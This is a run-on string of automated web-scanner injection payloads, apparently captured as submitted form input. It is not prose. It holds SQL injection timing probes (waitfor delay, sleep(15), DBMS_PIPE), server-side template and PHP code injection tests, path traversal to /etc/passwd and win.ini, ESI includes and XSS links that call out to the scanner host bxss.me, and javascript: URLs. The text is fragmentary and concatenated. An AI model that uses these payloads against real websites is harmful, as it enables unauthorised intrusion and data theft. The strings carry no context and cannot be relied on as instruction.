<th:t="${dfb}#foreach pHqghUme<esi:include src="http://bxss.me/rpb.png"/> http://bxss.me/t/fit.txt?.jpg 1 waitfor delay '0:0:15' -- ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) '" ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> xfs.bxss.me '"() ';print(md5(31337));$a=' ";print(md5(31337));$a=" Http://bxss.me/t/fit.txt ${@print(md5(31337))} fnfOzvSR pHqghUme ../../../../../../../../../../../../../../etc/passwd ${@print(md5(31337))}\ if(now()=sysdate() /etc/shells '.print(md5(31337)).' dfb{{98991*97996}}xca <a HrEF=http://xss.bxss.me></a> sleep(15) ../../../../../../../../../../../../../../windows/win.ini c:/windows/win.ini <a HrEF=jaVaScRiPT:> 0) bxss.me pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
